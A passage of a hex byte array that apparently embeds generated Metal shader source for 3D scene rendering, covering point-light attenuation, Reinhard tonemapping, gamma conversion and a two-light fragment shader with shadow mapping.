0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,
0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x74,0x74,0x65,0x6e,
0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x74,0x68,0x72,
0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x26,0x20,0x64,0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,
0x64,0x69,0x75,0x73,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x26,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,
0x66,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x31,
0x2e,0x30,0x20,0x2d,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x69,0x6e,0x28,0x31,
0x2e,0x30,0x2c,0x20,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x64,0x69,0x73,0x74,0x61,
0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x29,0x2c,
0x20,0x32,0x2e,0x30,0x20,0x2a,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x3b,
0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x36,0x34,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,
0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,
0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x74,0x68,0x72,0x65,0x61,
0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,
0x6c,0x69,0x6e,0x65,0x61,0x72,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x36,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,
0x6f,0x74,0x28,0x6c,0x69,0x6e,0x65,0x61,0x72,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x28,0x30,0x2e,0x32,0x31,0x32,0x35,0x39,0x39,0x39,0x39,0x32,0x37,0x35,0x32,
0x30,0x37,0x35,0x31,0x39,0x35,0x33,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x37,0x31,
0x35,0x32,0x30,0x30,0x30,0x30,0x36,0x39,0x36,0x31,0x38,0x32,0x32,0x35,0x30,0x39,
0x37,0x36,0x35,0x36,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x37,0x32,0x32,0x30,0x30,
0x30,0x30,0x30,0x32,0x38,0x36,0x31,0x30,0x32,0x32,0x39,0x34,0x39,0x32,0x31,0x38,
0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x37,
0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,
0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,
0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,
0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,
0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x78,0x29,0x0a,0x7b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x37,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x78,0x2c,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x28,0x30,0x2e,0x34,0x35,0x34,0x35,0x34,0x35,0x34,0x36,0x38,0x30,
0x39,0x31,0x39,0x36,0x34,0x37,0x32,0x31,0x36,0x37,0x39,0x36,0x38,0x37,0x35,0x29,
0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x38,0x39,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,
0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,
0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x74,0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,
0x68,0x61,0x72,0x64,0x28,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x78,0x29,0x0a,0x7b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x38,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x78,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x20,0x3d,0x20,0x78,0x20,0x2f,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x28,0x31,0x2e,0x30,0x20,0x2b,0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,
0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,
0x61,0x6d,0x6d,0x61,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x29,0x3b,0x0a,0x7d,
0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,
0x67,0x6d,0x65,0x6e,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,
0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x2c,0x20,
0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,
0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x76,0x5f,0x31,0x31,0x30,0x20,
0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x63,
0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x26,0x20,0x5f,0x32,0x39,0x32,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,
0x28,0x31,0x29,0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x33,
0x32,0x38,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x32,0x29,0x5d,0x5d,
0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x33,0x38,0x37,0x20,0x5b,
0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x33,0x29,0x5d,0x5d,0x2c,0x20,0x74,0x65,
0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,0x20,0x75,
0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,
0x70,0x20,0x5b,0x5b,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x28,0x30,0x29,0x5d,0x5d,
0x2c,0x20,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,
0x74,0x3e,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x20,0x5b,0x5b,0x74,0x65,0x78,
0x74,0x75,0x72,0x65,0x28,0x31,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,0x72,0x20,0x5b,0x5b,0x73,0x61,0x6d,
0x70,0x6c,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x53,0x6d,0x70,0x6c,0x72,0x20,
0x5b,0x5b,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x28,0x31,0x29,0x5d,0x5d,0x29,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,
0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x5f,0x32,0x38,0x38,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,
0x28,0x69,0x6e,0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x31,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x5f,0x33,0x30,0x30,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,
0x6c,0x69,0x7a,0x65,0x28,0x5f,0x32,0x39,0x32,0x2e,0x75,0x56,0x69,0x65,0x77,0x50,
0x6f,0x73,0x20,0x2d,0x20,0x69,0x6e,0x2e,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,
0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x37,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,
0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x31,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x5f,0x33,0x31,0x31,0x20,0x3d,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,
0x30,0x2e,0x73,0x61,0x6d,0x70,0x6c,0x65,0x28,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,
0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,0x69,0x6e,0x2e,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x20,0x5f,0x33,0x31,0x34,0x20,0x3d,0x20,0x5f,0x33,0x31,0x31,0x20,0x2a,0x20,0x69,
0x6e,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x32,0x34,0x20,0x3d,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x31,0x34,0x2e,0x78,0x79,0x7a,0x29,
0x20,0x2a,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x33,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x20,0x3d,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,0x20,0x5f,0x33,
0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,
0x20,0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x33,0x33,0x39,0x20,
0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x2c,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x29,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,
0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x20,0x2a,0x20,0x5f,0x33,
0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x33,0x33,0x39,0x20,
0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x35,0x20,0x3d,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,
0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x36,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x32,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x37,0x20,0x3d,0x20,0x5f,0x33,
0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,
0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,
0x3d,0x20,0x28,0x28,0x28,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,
0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x32,0x38,0x2e,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,
0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x39,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,0x2a,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,
0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x29,0x20,0x2a,0x20,
0x5f,0x33,0x33,0x39,0x29,0x29,0x20,0x2a,0x20,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,
0x63,0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x66,0x61,0x73,0x74,
0x3a,0x3a,0x63,0x6c,0x61,0x6d,0x70,0x28,0x6c,0x61,0x6d,0x62,0x65,0x72,0x74,0x5f,
0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x35,0x2c,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x29,0x2c,0x20,0x30,0x2e,0x30,0x2c,0x20,
0x31,0x2e,0x30,0x29,0x2c,0x20,0x69,0x6e,0x2e,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x70,0x6f,0x73,0x2c,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2c,0x20,0x75,0x5f,0x69,0x6d,0x61,
0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,
0x6c,0x72,0x29,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x7d,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x33,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x5f,0x33,0x39,0x31,0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x28,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x29,0x20,0x2d,0x20,0x69,0x6e,0x2e,0x76,0x46,0x72,0x61,
0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x5f,0x33,0x39,0x39,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x28,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x5f,0x33,0x39,
0x31,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x31,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,
0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x20,0x3d,0x20,0x30,0x2e,
0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x30,0x39,0x20,0x3d,0x20,0x6f,0x72,
0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,
0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,
0x20,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,
0x65,0x6e,0x74,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x38,
0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x34,0x30,0x39,
0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x35,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,
